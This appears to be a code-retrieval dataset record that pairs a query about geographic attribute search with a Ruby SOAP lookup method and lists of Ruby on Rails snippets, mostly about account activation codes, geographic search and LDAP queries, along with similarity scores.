"def make_activation_code\n self.activation_code = self.class.make_token\n end",
"def activation_code\n read_attribute(:activation_code) || reset_activation_code\n end",
"def activate\n session.user = Merb::Authentication.user_class.find_with_activation_code(params[:activation_code])\n raise NotFound if session.user.nil?\n if session.authenticated? && !session.user.activated?\n session.user.activate!\n end\n \"\"\n end",
"def activation_instructions\n end",
"def make_activation_code\n self.activation_code = Digest::SHA1.hexdigest( Time.now.to_s.split(//).sort_by {rand}.join )\n end",
"def make_activation_code\n self.activation_code = Digest::SHA1.hexdigest( Time.now.to_s.split(//).sort_by {rand}.join )\n end",
"def reset_activation_code\n self.make_activation_code\n self.save\n self.activation_code\n end",
"def activate\n self.current_user = params[:activation_code].blank? ? :false : User.find_by_activation_code(params[:activation_code])\n if logged_in? && !current_user.active?\n current_user.activate\n # flash[:notice] = 'Your account has been activated.'\n end\n redirect_to embassy_path\n end",
"def activate\n self.current_user = params[:activation_code].blank? ? false : User.find_by_activation_code(params[:activation_code])\n if logged_in? && !current_user.active?\n current_user.activate\n flash[:notice] = \"Signup complete!\"\n end\n redirect_back_or_default('/')\n end",
"def activate\n logout_killing_session!\n @object = User.find_by_activation_code(params[:code]) unless params[:code].blank?\n respond_to do |format|\n case\n when !params[:code].blank? && @object && @object.current_state != :active\n @object.activate!\n create_change_log_entry(@object.id, @object.id, 'activate', 'User email activation.')\n flash[:notice] = \"You're all signed up! Please log in to continue.\"\n format.html { redirect_to(login_path) }\n format.xml { head :ok }\n when params[:code].blank?\n flash[:error] = \"Your activation code is missing. Please follow the URL from your email.\"\n format.html { redirect_to(login_path) }\n format.xml { render :status => :unprocessable_entity }\n else\n flash[:error] = \"We couldn't find a user with that activation code -- check your email? Or maybe you're already activated; try signing in.\"\n format.html { redirect_to(login_path) }\n format.xml { render :status => :unprocessable_entity }\n end\n end\n end",
"def create_confirm_code\r\n \t\tself.confirm_code = SecureRandom.urlsafe_base64\r\n \tend",
"def activate\n self.current_user = params[:activation_code].blank? ? false : User.find_by_activation_code(params[:activation_code])\n if logged_in? && !current_user.active?\n current_user.activate\n flash[:notice] = \"Signup complete! Go ahead and log in.\"\n end\n redirect_to :controller => \"sessions\", :action => \"new\"\n end",
"def submit_act_code(act_code)\n act = register_form.act_code_txt.value\n register_form.act_code_txt.set act_code unless act == act_code\n page.find('#btnSubmitForm', wait: 3).click\n sleep 3 # Wait for loading Login page\n end",
"def send_activation_code!\n message = I18n.t(\n 'notifications.activation_message.message',\n activation_code: activation_code\n )\n send_sms! phone, message\n end",
"def activate\n # TODO must remember to reset the session[:activation_code]\n # looks as if setting current user (next line) was causing the user to be\n # logged-in after activation\n user = User.find_and_activate!(params[:activation_code])\n if user.update_attributes(params[:user].slice(:login, :email, :password, :password_confirmation))\n redirect_to root_path\n else\n flash[:warn] = user.errors.full_messages\n redirect_to signup_authengine_user_path(user)\n end\n rescue User::ArgumentError\n flash[:notice] = 'Activation code not found. Please ask the database administrator to create an account for you.'\n redirect_to new_authengine_user_path\n rescue User::ActivationCodeNotFound\n flash[:notice] = 'Activation code not found. Please ask the database administrator to create an account for you.'\n redirect_to new_authengine_user_path\n rescue User::AlreadyActivated\n flash[:notice] = 'Your account has already been activated. You can log in below.'\n redirect_to login_path\n end",
"def prompt_for_code\n result = ui.ask \"AWS MFA code\", :valid => /^\\d{6}$/\n result.strip\n end",
"def register!\n self.state = \"pending\"\n self.activation_code = new_code\n self.activated_at = nil \n save(:validate=>false)\n end",
"def guest_invite_code\n load\n @active_token_value\n end",
"def activate \r\n logger.info(\"UserController::Activate::Params-----#{params}\")\r\n @update_message=\"\"\r\n begin\r\n input = {\"user\"=>{\"activationCode\"=>params['id']}}\r\n logger.info(\"UserController::Activate:---Input #{input}\")\r\n @activate = smvActivateUser(input, request.env)\r\n logger.info(\"UserController::Activate:---#{@activate}\")\r\n @update_message = I18n.t(\"message.successful_activation\")\r\n rescue Exception => exc\r\n @update_message = I18n.t(\"message.unsuccessful_activation\")\r\n logger.error(\"save_reg::Exception occured #{@update_message}\")\r\n end \r\n end",
"def create\n @active_code = ActiveCode.new(active_code_params)\n\n respond_to do |format|\n if @active_code.save\n format.html { redirect_to @active_code, notice: 'Active code was successfully created.' }\n format.json { render :show, status: :created, location: @active_code }\n else\n format.html { render :new }\n format.json { render json: @active_code.errors, status: :unprocessable_entity }\n end\n end\n end",
"def dox_code_instruction(form)\n if form == \"edit\"\n msg = \"When editing your Dox Code, keep the following things in mind. LEAVING THE FIELD BLANK will leave your dox code unchanged. ENTERING A HYPHEN ('-' without the quotation marks) will erase your current dox code, and upon returning to your character page, their secret identity will be revealed. ENTERING A NEW DOX CODE will change your dox code. <span class='red'>WARNING: Do not make your dox code the same as your password, or similar to your password, or the same or similar to any password you use on any other site. The point is for other users to guess them...</span>\"\n msg.html_safe\n elsif form == \"new\"\n msg = \"Dox Codes are optional. By default (if you don't set one) your character's secret identity will be revealed on the character page. If you set one, it will be REDACTED. <span class='red'>WARNING: Do not make your dox code the same as your password, or similar to your password, or the same or similar to any password you use on any other site. The point is for other users to guess them...</span>\"\n msg.html_safe\n end\n end",
"def activate\n self.current_user = params[:activation_code].blank? ? :false : User.find_by_activation_code(params[:activation_code])\n if logged_in? && !current_user.active?\n current_user.activate\n redirect_to(user_path(self.current_user) + '?welcome')\n else\n redirect_to '/'\n end\n end",
"def make_activation_code\n begin\n self.activation_code = self.class.random_hash(10)\n end while self.class.exists?(:activation_code => self.activation_code)\n end",
"def registration_code\n flash[:code] ||= params[:code]\n end",
"def activate\n \n # If the activation code is not blank, look for a user with a matching\n # code and set that as the current_user\n self.current_user = params[:activation_code].blank? ? false : User.find_by_activation_code(params[:activation_code])\n \n if current_user and !current_user.active?\n \n # If the current user is not already active, activate it\n current_user.activate\n \n # Send a just joined email to the user's email address\n UserMailer.deliver_just_joined(current_user)\n \n # Display a message on the next page indicating success\n flash[:notice] = 'Your account has been activated, and you have been logged in.<br/><br/>\n Facebook user? <br/><a href=\"/help/facebook\" target=\"_blank\">Connect your Facebook account</a> to Blavel to keep your friends updated.'\n else\n logger.info 'Invalid activation code provided.'\n flash[:error] = 'That activation code has either already been used, or it never existed.'\n end\n redirect_to '/'\n end",
"def require_activation!\n self.enabled = false\n self.activation_code = Digest::MD5.hexdigest(self.object_id.to_s + Rauth::Encode.mksalt).upcase\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save\n end",
"def activate\n submit.click\n end",
"def do_pending\n make_activation_code\n # send the user an email with an activation code\n UserMailer.deliver_signup_notification(self)\n end",
"def generate_confirm_code\n chars = (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n code = \"\"\n 20.times { |i| code << chars[rand(chars.size-1)] }\n # add the ID to ensure always unique!\n code << self.recipient_id.to_s + self.project_id.to_s\n\n self.confirm_code = code\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(:validate => false)\n end",
"def activate\n flash.clear\n return if params[:id].blank? and params[:activation_code].blank?\n activator = params[:activation_code] || params[:id]\n @invite = Invite.find_by_activation_code(activator)\n if @invite\n if @invite.user_id\n flash[:warning] = \"The invitation has been already registered\".t\n elsif user = User.find_by_email(@invite.user_email)\n flash[:warning] = \"The user #{user.login} is already registered with this email address\".t\n else\n # special case for :founder_circle as they can only be accepted by projects\n # so switch the user identity #@invite.circle_id == Invite::TYPES[:founder_circle][:id] &&\n # or should we always switch identity to user when accepting email invite ?? tough one ..\n Invite.transaction do\n if current_user.on_behalf_id != 0\n current_user.on_behalf_id = 0\n current_user.save!\n end\n @invite.user_id = current_actor.id\n @invite.display_name = current_actor.display_name\n @invite.save!\n\n Activity.send_message(@invite, @invite.inviter, :invite_sent)\n end\n flash[:success] = \"The invitation has been registered for %s\" / current_actor.login\n end\n redirect_to(:controller => '/activity', :action => 'list')\n else\n params[:activation_code] = activator\n flash[:warning] = \"Unable to register the invitation. Please make sure that the activation code is correct.\".t\n end\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n self.activate!\n save!\n end",
"def activate\n @user = User.find_by_activation_code(params[:id]) if params[:id]\n \n #Did we find a user?\n if @user\n # Is the logged-in user the one found by the activation code?\n if (self.current_user == @user)\n if @user.activate\n redirect_back_or_default(:controller => '/account', :action => 'welcome')\n flash[:notice] = \"Your e-mail address has been verified.\"\n else\n redirect_to :controller => '/account', :action => 'index'\n end\n else\n # Another user tried to log in on someone's verification code\n flash[:notice] = \"You are not the account holder to whom the verification email was sent. You cannot login at this time.\"\n logout #Since we are assuming something malicious\n end\n else\n # No user found for that activation code, show an error\n flash[:error] = \"The activation code submitted was invalid; please try again.\"\n redirect_to :controller => '/account', :action => 'welcome'\n end\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save!\n end",
"def create\n @activation_key = ActivationKey.new(params[:activation_key])\n\n respond_to do |format|\n if @activation_key.save\n format.html { redirect_to @activation_key, notice: 'Activation key was successfully created.' }\n format.json { render json: @activation_key, status: :created, location: @activation_key }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activation_key.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_activation_digest\n self.activation_code = User.new_code\n update_columns(activation_digest: User.digest(activation_code), \n activation_sent_at: Time.zone.now)\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate\n current_user = params[:activation_code].blank? ? false : User.find_by_activation_code(params[:activation_code])\n if current_user && !user_signed_in? && !current_user.account_active?\n current_user.activate\n # current_user.save_ip(request.remote_ip)\n redirect_to new_user_session_path,:notice => \"Congratulations! Your account has now been activated!\"\n else\n redirect_to :root\n end\n end",
"def generate_activation_code(size = 4)\n charset = %w{ 1 2 3 4 5 6 7 8 9}\n self.code = (0...size).map{ charset.to_a[rand(charset.size)] }.join\n end",
"def generate_invite_code\n self.invite_code = generate_token\n end",
"def activate\n logout_keeping_session!\n @user = ::User.find_by_activation_code(params[:ac]) unless params[:ac].blank?\n case\n when (!params[:ac].blank?) && @user && !@user.is_active?\n flash[:info] = \"Account activated. please login.\"\n @user.activate!\n redirect_to login_url\n when params[:ac].blank?\n flash[:error] = \"The activation code was missing. Please follow the URL from your email.\"\n redirect_to(root_url)\n else\n flash[:error] = \"We couldn't find a user with that activation code -- check your email? Or maybe you've already activated -- try signing in.\"\n redirect_to(root_url)\n end\n end",
"def set_Code(value)\n set_input(\"Code\", value)\n end",
"def activate\n @activated = true\n self.attributes = {:activated_at => Time.now.utc, :activation_code => nil}\n save(false)\n end",
"def activate\r\n @activated = true\r\n self.activated_at = Time.now.utc\r\n self.activation_code = nil\r\n save(false)\r\n end",
"def create\n user = User.find(params[:id])\n\n if user.activate!(params[:activation_code],params[:password], params[:password_confirmation])\n flash[:notice] = \"Password successfully updated.\"\n #log_action(\"Security\", \"User (#{current_user.login}) has reset password for (#{@user.login})\")\n # make sure user is logged in\n self.current_user = user\n new_cookie_flag = (params[:remember_me] == \"1\")\n handle_remember_cookie! new_cookie_flag\n redirect_back_or_default('/')\n\n #redirect_to users_path\n else\n #@old_password = nil\n flash.now[:error] = user.errors.on_base || \"There was a problem updating your password.\"\n #log_action(\"Security\", \"Admin (#{current_user.login}) has FAILED to reset password for (#{@user.login})\")\n if user and user.activation_code == params[:activation_code]\n render :action => :new\n else\n render :action => 'send_activation_code'\n end\n end\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def a6_code_params\n params.require( :a6_code ).permit( :code, :label, :active, :master, :mapping, :description )\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def activate\n @activated = true\n update_attributes(:activated_at => Time.now.utc, :activation_code => nil)\n end",
"def activate\n @activated = true\n update_attributes(:activated_at => Time.now.utc, :activation_code => nil)\n end",
"def activate\n @activated = true\n update_attributes(:activated_at => Time.now.utc, :activation_code => nil)\n end",
"def invitation_code\n params.require(:invitation).permit(:code)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n self.save(false)\n end",
"def generate_code\n self.code ||= self.create_code(client)\n save && code\n end",
"def create_request_code\n service_key = Buynance::Application.config.service_key\n profile_guid = Buynance::Application.config.profile_guid\n site_user_guid = Buynance::Application.config.site_user_guid \n customer_id = self.email\n self.initial_request_code = DecisionLogic.get(\"https://www.decisionlogic.com/CreateRequestCode.aspx?serviceKey=#{service_key}&profileGuid=#{profile_guid}&siteUserGuid=#{site_user_guid}&customerId=#{customer_id}&firstName=#{self.owner_first_name.strip}&lastName=#{self.owner_last_name.strip}&accountNumber=#{self.bank_account.account_number}&routingNumber=#{self.bank_account.routing_number}\")\n is_valid = (self.initial_request_code.length <= 10)\n return is_valid\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end",
"def check_verification code\n if (code == self.verification_code)\n self.active = 1;\n self.save\n end\n end",
"def new\n @activation_key = ActivationKey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activation_key }\n end\n end",
"def create\n @authorize_code = AuthorizeCode.new(authorize_code_params)\n\n respond_to do |format|\n if @authorize_code.save\n format.html { redirect_to @authorize_code, notice: 'Authorize code was successfully created.' }\n format.json { render :show, status: :created, location: @authorize_code }\n else\n format.html { render :new }\n format.json { render json: @authorize_code.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generate_confirm_code\n\t\tcode = ('A'..'Z').to_a.shuffle[0,4].join\n\tend",
"def encrypt_code(e=nil)\n\t\tUser.encrypt((e || self.email), self.activation_code)\n\tend",
"def create_activation_digest # called by before_create so auto save into DB\n self.activation_token = User.new_token # vitrual abttribute\n self.activation_digest = User.digest activation_token # abttribute in DB\n end",
"def generate_token\n self.apply_code = \"#{SecureRandom.hex(4)}\"\n self.act_status_type_id = 2\n end"
] |
[
"0.71018904",
"0.69882333",
"0.6904598",
"0.68318415",
"0.6705418",
"0.66952103",
"0.6677684",
"0.65918845",
"0.6467445",
"0.639648",
"0.6368502",
"0.63646305",
"0.6336891",
"0.6324899",
"0.629042",
"0.6277661",
"0.627723",
"0.6242202",
"0.62177044",
"0.6098925",
"0.6053495",
"0.6049149",
"0.6048391",
"0.6048167",
"0.60458213",
"0.60089546",
"0.6007927",
"0.599617",
"0.5983351",
"0.59719616",
"0.59602106",
"0.59472495",
"0.59385663",
"0.59201205",
"0.59082943",
"0.58998185",
"0.5885222",
"0.58764356",
"0.5863985",
"0.5858735",
"0.5852911",
"0.58520156",
"0.5849124",
"0.5842177",
"0.5840036",
"0.5817365",
"0.5815944",
"0.58038896",
"0.57976407",
"0.5777909",
"0.57728016",
"0.5761712",
"0.5754869",
"0.5754869",
"0.5754869",
"0.5754869",
"0.5754869",
"0.5754869",
"0.5754869",
"0.5754869",
"0.5754869",
"0.5754869",
"0.5754869",
"0.5754869",
"0.5754869",
"0.5750233",
"0.57486516",
"0.5740038",
"0.5740038",
"0.5740038",
"0.57306087",
"0.57277244",
"0.5721618",
"0.5715911",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5714173",
"0.5690763",
"0.5689825",
"0.5689136",
"0.5678185",
"0.56774485",
"0.5675561",
"0.5674662"
] |
0.0
|
-1
|
Performs a search for geoattributes.
|
def all_fields(table, field_name, value)
body = savon.
call(:get_all_fields_records_given_a_field_name_and_value,
message: {
'strFeatureClassOrTableName' => table,
'strFieldNameToSearchOn' => field_name,
'strValueOfFieldToSearchOn' => value
}).
body
resp = body[:get_all_fields_records_given_a_field_name_and_value_response]
rslt = resp[:get_all_fields_records_given_a_field_name_and_value_result]
polys = rslt[:diffgram][:document_element][:municipality_poly]
poly = if polys.is_a? Array
polys.first
elsif polys.is_a? Hash
polys
else
fail "Unexpected polys #{polys.class.name}, wanted Array or Hash"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def _search_attributes\n _attrs.hmap do |name, settings|\n opts = settings[:options]\n next unless opts[:net_miner_search_path]\n [name, opts[:net_miner_search_path]]\n end\n end",
"def search_attributes\n\t\t['dn', self.attr_firstname, self.attr_lastname, self.attr_mail, self.attr_member]\n\tend",
"def search_data\n attributes.merge(location: {lat: latitude, lon: longitude})\n end",
"def where(attributes)\n # (class method) think about how to loop through hashes\n # try looping thru a test ruby file or within irb\n end",
"def search_data\n attributes.merge(\n places_city: places.map(&:city),\n places_country: places.map(&:country),\n places_state: places.map(&:state)\n )\n end",
"def hit_on_attributes attrhash, site\n return unless results.present? && site\n attrhash.each do |label, value_or_set|\n if value_or_set.is_a? Hash\n (value_or_set = value_or_set.values).map { |value|\n hit_on_attribute label, value, site\n }\n else\n hit_on_attribute label, value_or_set, site\n end\n end\n end",
"def find_attributes(node, &block); end",
"def search_attribute(attrib)\n unless attrib.blank?\n attrib = attrib.to_s.strip\n search_attributes.insert(0, attrib) unless search_attributes.include?(attrib)\n end\n end",
"def find_by_attributes(project_id, attributes = {})\n search_by_attribute(self.find_all(project_id), attributes)\n end",
"def full_search(keywords, options = {})\n latitude = nil\n longitude = nil\n bounds = options[:bounds]\n where = nil\n \n if options[:alternate].blank? && options[:specific].blank? && options[:skip_where].blank?\n where_results = Atlas::Geography.where_am_i(keywords, options.dup)\n \n keywords = where_results[:query]\n where = where_results[:where].models\n \n unless where.blank?\n selected = where.first\n bounds = selected.bounds\n end\n \n options.delete :fq\n \n # The user has indicated that our \"where\" guess was incorrect, and selected another.\n elsif options[:alternate].present?\n selected = Atlas::Geography.find(options[:alternate])\n bounds = selected.bounds \n \n # Record when a user selects an alternate where result, i.e. we got it wrong!\n # Atlas::GeographicQueryLog.create :status => 'alternate', :query => query, :session_id => options[:session_id]\n\n # The user has sent in a specific bounding box in which to search. Presumably the user is looking\n # at a map, dragging it around, and re-performing searches.\n elsif options[:specific].present?\n bounds = options[:specific]\n end\n\n keywords = '*' if keywords.blank?\n \n if bounds.present?\n results = solr_server.find(\"#{spatial_query(bounds)}#{keywords}\", \n options.merge(:qt => 'geographic', :results => Atlas::Extensions::Place::PlaceResults))\n \n if results.documents.empty? && where.present?\n where[1..-1].each do |geography|\n selected = geography\n envelope = geography.read_attribute(:bounds).envelope\n center = envelope.center\n top_center = center.y + (center.y - envelope.lower_corner.y)\n radius = center.spherical_distance(Point.from_x_y(center.x, top_center)) / 1000.0\n\n results = solr_server.find(\"{!spatial lat=#{center.lat} long=#{center.lng} radius=#{radius} unit=km calc=arc threadCount=2}#{keywords}\", \n options.merge(:qt => 'geographic', :results => Atlas::Extensions::Place::PlaceResults))\n \n break unless results.documents.empty?\n end\n end\n else\n results = solr_server.find(keywords, options.merge(:qt => 'full', :results => Atlas::Extensions::Place::PlaceResults))\n end\n \n { :places => results, :selected => selected, :where => where, :query => (keywords == '*' && '' || keywords) }\n end",
"def get_matches_with_coordinates(spatial_term)\n Item.connection.select_all(\"\n SELECT DISTINCT * FROM (\n SELECT unnest(dcterms_spatial) spatial FROM items\n ) s WHERE spatial LIKE $$#{spatial_term}%, %.%, %.%$$;\n \")\n end",
"def search_attributes\n nil\n end",
"def search_data\n slice = [\n :state,\n :city,\n :formatted_address,\n ]\n merge = {\n # https://github.com/ankane/searchkick#geospatial-searches\n location: { lat: latitude, lon: longitude },\n floorplan_bedroom_count: floorplans&.map(&:bedroom_count).uniq.sort,\n floorplan_bathroom_count: floorplans&.map(&:bathroom_count).uniq.sort,\n }\n attributes.symbolize_keys.slice(*slice).merge(merge)\n end",
"def search_attributes\n {:title => self.name, :description => self.bio.present? ? self.bio[0..100] : \"\", :image => self.portrait(:thumb)}\n end",
"def find_all_by(attributes = {})\n raise NotImplementedError.new\n end",
"def full_text_search\n @attributes[:full_text_search]\n end",
"def ldap_search(attr,query)\n\t\tload \"#{$pwd}/plugins/config/ldap_config.rb\"\n\t\n\t\t# ldap_return auth (below) is a function from auth_ldap.rb that returns a\n\t\t# hash with the username and password to bind to LDAP with.\n\t\tldap_config = return_ldap_config\n\n\t\thost = 'ldap.oit.pdx.edu'\n\t\tport = 636\n \t\tauth = { :method => :simple, :username => ldap_config['username'], :password => ldap_config['pass'] }\n\t\tbase = 'dc=pdx,dc=edu'\n\t\n\t\tresult = Hash.new(Array.new)\n\t\tNet::LDAP.open(:host => host, :port => port, :auth => auth, :encryption => :simple_tls, :base => base) do |ldap|\n\t\t\t\n\t\t\t# Perform the search, then return a hash with LDAP attributes corresponding\n\t\t\t# to hash keys, and LDAP values corresponding to hash values.\n\t\t\tfilter = Net::LDAP::Filter.eq(attr,query)\n\t\t\tif (ldap.bind)\n\t\t\t\tldap.search(:filter => filter) do |entry|\n\t\t\t\t\tentry.each do |attribute, values|\n\t\t\t\t\t\tvalues.each do |value|\n\t\t\t\t\t\t\tresult[\"#{attribute}\"] += [\"#{value}\"]\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tresult = false\n\t\t\tend\n\t\tend\n\n\t\treturn result\n\tend",
"def attribute_matching(key, data, property=:long_name)\n data[\"address_components\"].each do |comp|\n return comp[property.to_s] if comp[\"types\"].include?(key)\n end\n return nil\n end",
"def geo_search(options={})\n options[:query] = URI.escape(options[:query]) if options[:query]\n args = options.map{|k,v| \"#{k}=#{v}\"}.join('&')\n get \"/geo/search.json?#{args}\"\n end",
"def search\n @features = Central::Storage.search(_params_search)\n end",
"def search\n request.write_attributes request_attributes\n @search ||= request.call\n end",
"def build_simple_attributes(document)\n simple_attributes.each do |a|\n document.send(\"#{a}=\", geo_concern.send(a.to_s))\n end\n end",
"def geographic(subject, data, predicate=RDF::Vocab::DC[:spatial], extra_params={})\n @log.debug(\"Geographic: \" + data)\n\n graph = RDF::Graph.new\n\n Array(data.split(';')).each do |location|\n location.strip!\n\n @log.debug(\"Geographic split: \" + location)\n\n unless geocache.include? location\n begin\n geonames_search(location, extra_params)\n rescue => e\n puts subject, location, e.backtrace\n end\n end\n\n if geocache.include? location\n graph << RDF::Statement.new(subject, predicate, geocache[location][:uri])\n else\n @log.warn(\"Geographic URI not found: \" + location)\n# graph << RDF::Statement.new(subject, predicate, location)\n end\n end\n\n graph\n end",
"def search\n \n # Populate the @traveler variable\n get_traveler\n \n query = params[:query]\n query_str = query + \"%\"\n Rails.logger.debug query_str\n\n # This array will hold the list of matching places\n matches = [] \n # We create a unique index for mapping etc for each place we find\n counter = 0 \n \n # First search for matching names in my places\n rel = Place.arel_table[:name].matches(query_str)\n places = @traveler.places.active.where(rel)\n places.each do |place|\n matches << {\n \"index\" => counter,\n \"type\" => PLACES_TYPE,\n \"name\" => place.name,\n \"id\" => place.id,\n \"lat\" => place.location.first,\n \"lon\" => place.location.last,\n \"address\" => place.address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => place.name, :address => place.address} })\n }\n counter += 1\n end\n \n # Second search for matching address in trip_places. We manually filter these to find unique addresses\n rel = TripPlace.arel_table[:raw_address].matches(query_str)\n tps = @traveler.trip_places.where(rel).order(\"raw_address\")\n old_addr = \"\"\n tps.each do |tp|\n if old_addr != tp.raw_address\n matches << {\n \"index\" => counter,\n \"type\" => CACHED_ADDRESS_TYPE,\n \"name\" => tp.raw_address,\n \"id\" => tp.id,\n \"lat\" => tp.lat,\n \"lon\" => tp.lon,\n \"address\" => tp.raw_address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => tp.name, :address => tp.raw_address} })\n }\n counter += 1\n old_addr = tp.raw_address\n end \n end\n \n # Lastly search for matching names in the POI table\n rel = Poi.arel_table[:name].matches(query_str)\n pois = Poi.where(rel).limit(MAX_POIS_FOR_SEARCH)\n pois.each do |poi|\n matches << {\n \"index\" => counter,\n \"type\" => POI_TYPE,\n \"name\" => poi.name,\n \"id\" => poi.id,\n \"lat\" => poi.lat,\n \"lon\" => poi.lon,\n \"address\" => poi.address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => poi.name, :address => poi.address} })\n }\n counter += 1\n end\n \n respond_to do |format|\n format.js { render :json => matches.to_json }\n format.json { render :json => matches.to_json }\n end\n end",
"def searchable_attributes\n key_props = self.class.primary_key_attributes\n return key_props if key_searchable?(key_props)\n key_props = self.class.secondary_key_attributes\n return key_props if key_searchable?(key_props)\n key_props = self.class.alternate_key_attributes\n return key_props if key_searchable?(key_props)\n end",
"def search_for(keywords, options = {})\n bounds = options[:specific] || options[:bounds]\n keywords = '*:*' if keywords.blank?\n logger.debug \"Search Query: #{spatial_query(bounds)}#{keywords}\"\n solr_server.find(\"#{spatial_query(bounds)}#{keywords}\", options.merge(:results => Atlas::Extensions::Place::PlaceResults))\n end",
"def locate(params)\n get params.is_a?(String) ? {:loc => params} : map_attributes(location_from_params(params))\n end",
"def filter_by attributes\n\n all.select { |item| matches? item, attributes }\n\n end",
"def find_by(attributes = {}, options = {}, header = {})\n search = { search: attributes }.merge!(options)\n request = requester.new(:get, \"#{to_url}/find_by\", {}, search, header)\n request.resource.map do |element|\n build(element)\n end\n end",
"def filter_search(attributes)\n # TODO CHANGE because to _unsafe h permits to inject all the things of attributes\n attributes.to_unsafe_h.inject(self) do |scope, (key, value)|\n # return scope.scoped if value.blank?\n if value.blank?\n scope.all\n else\n case key.to_sym\n when :order # order=field-(ASC|DESC)\n attribute, order = value.split('-')\n scope.order(\"#{table_name}.#{attribute} #{order}\")\n\n else # unknown key (do nothing or raise error, as you prefer to)\n scope.all\n end\n\n end\n end\n end",
"def search(options)\n options[:base] = @base_name\n options[:attributes] ||= %w{ou cn dn sAMAccountName member}\n options[:ignore_server_caps] ||= true\n\n @connection.search(options)\n end",
"def find_attributes_starting_with(name)\n @attributes.select { |key| key.to_s.start_with?(name) }\n end",
